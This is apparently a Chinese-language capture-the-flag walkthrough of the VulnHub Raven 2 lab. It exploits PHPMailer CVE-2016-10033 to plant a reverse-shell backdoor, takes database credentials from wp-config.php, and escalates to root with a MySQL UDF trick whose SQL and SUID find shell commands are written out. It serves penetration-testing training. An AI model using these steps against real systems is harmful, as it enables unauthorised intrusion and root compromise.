靶场基本信息
地址:https://www.vulnhub.com/entry/raven-2,269/
发布日期:2018年11月9日目标:得到root权限并且找到4个flag
难度:中级运行:VMware(网络NET或桥接)描述:Raven 2 is an intermediate level boot2root VM. There are four flags to capture. After multiple breaches, Raven Security has taken extra steps to harden their web server to prevent hackers from getting in. Can you still breach Raven?
主机发现
使用nmap进行主机发现:
信息收集
端口扫描
简单的端口扫描发现:
详细的端口扫描:
进行目录扫描:
访问http://192.168.255.186/vendor/
点击PATH:
获取flag1
md5解密结果是Raven2Flag1
点击README.md,下载,打开:
获得信息:PHPMailer
点击VERSION:
获取版本信息:5.2.16
去寻找EXP!
谷歌搜索引擎搜索:PHPMailer 5.2.16 exp
CVE-2016-10033
链接地址:https://www.exploit-db.com/exploits/40974
将exp拷贝出来后,需要根据自己的环境实际情况针对PHPMailer修改参数:
41行:改下地址:http://192.168.255.186/contact.php
42行:后门名称:/backup.php
44行:改下回弹的IP和端口 192.168.255.129 6666
47行:改下写入shell的目录:/var/www/html/backup.php
执行exp
python3 40974.py
如果环境报错按照环境安装:需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。
访问http://192.168.255.186/contact.php,此时就会生成后门文件backup.php
本地开启监听:nc -vlp 6666
访问:http://192.168.255.186/backup.php
获得反弹shell!
python -c ‘import pty;pty.spawn(“/bin/bash”)’
这种方式我尝试过,但就是反弹不回来shell,甚至说后门文件back.php都没有创建成功。
下面使用别的办法就getshell
访问http://192.168.255.186/wordpress/
会跳转到wordpress的一个站点,它是跳转http://raven.local
修改本地hosts文件:
命令:sudo vim /etc/hosts
目录枚举:
使用dirsearch对http://raven.local/wordpress/进行目录扫描:
访问http://raven.local/wordpress/wp-content/uploads/
一直点击下去会发现有flag3.png
md5解密后得到:Raven2Flag3
到这里可以猜到flag2就是md5(Raven2Flag2),flag4就是md5(Raven2Flag4)
发现Apache版本信息:
Apache HTTP Server Version 2.4 Documentation
漏洞发现
网上搜索获取的针对这个靶机环境的两种漏洞利用方式:
一、metasploit
-
先配置信息,具体信息如下
set RHOSTS 192.168.31.43
set TARGETURI /contact.php
set WEB_ROOT /var/www/html -
run,运行运行后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是随机的
-
把文件名复制到浏览器进行访问
http://raven.local/xxx.php -
等待几分钟就能得到shell,www权限。注:【我的电脑操作可以,但是我不确定是否所有人都可以】如果觉得等待时间长可以按Ctrl+C停止等待,使用sessions查看会话可以看到已经生成的sessions,使用sessions 1进入。
二、exploit POC
-
使用漏洞POC需要先修改POC脚本中的配置信息,和metasploit差不多把url换成http://raven.local/contact.php
把反弹shell语句中的ip改为自己kali系统的ip,端口8888
把写入后门的路径修改为/var/www/html
写入后门文件的文件名字母数字组合随便写 -
监听本地端口
nc -lvp 8888 -
运行POC脚本后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是自己定义(或默认)的。
-
访问这个xxx.php文件,使得此文件运行,从而反弹shell到本地。
http://raven.local/xxx.php
漏洞利用
利用MSF进行getshell:
search PHPMailer
发现第0个适用(适用于5.2.19及以下版本phpmailer)
获得反弹shell:
命令:python -c 'import pty; pty.spawn("/bin/bash")'
,获得伪终端后
使用find查找flag文件
这个flag之前已经拿到了
继续进行信息搜集
我们之前进行目录枚举的是扫描出wordpress目录下有个==wp-config.php:
发现数据库账户密码
进行数据库连接,连接成功后查看有哪些数据库:
获取用户名及密码(加密)
查看mysql权限:
MySQL以root的身份运行,可以通过mysql提权
查看历史安装包版本:
权限提升
因为mysql版本>=5.1,所以必须把 UDF 的动态链接库.so文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件所在路径:
首先看一下是否满足写入条件:
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数
查看插件目录:
查看能否远程登陆:
发现这里root用户不允许远程登陆,因此不能利用MSF提权。
谷歌搜索引擎搜索:mysql 5.x UDF exploit 或者 searchsploit udf
exp链接:https://www.exploit-db.com/exploits/1518
insert into exp values(load_file(‘/tmp/exp.so’));
select * from exp into dumpfile ‘/usr/lib/mysql/plugin/exp.so’;
create function do_system returns integer soname ‘exp.so’;
find exp -exec “/bin/sh” ;
GCC编译.o文件:
命令参数解析:
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
本地使用python开启http服务:
在靶机的tmp目录下载刚才编译好的文件
进入数据库创建数据表exp:
插入数据文件:
exp表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
查看以下创建的函数:
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
执行find命令,使用find执行 shell:
touch exp
find exp -exec "/bin/sh" \;
或者:find exp -exec "id" \;
读取root目录下的flag4.txt文件:
免责声明:本文章涉及的知识和技能仅用于学习研究,如有用于非法途径或未被授权的真实网络环境,所造成的后果及连带责任自行承担,与本文作者无关,倡导把安全知识和技能用于正当、正规、正义的途径。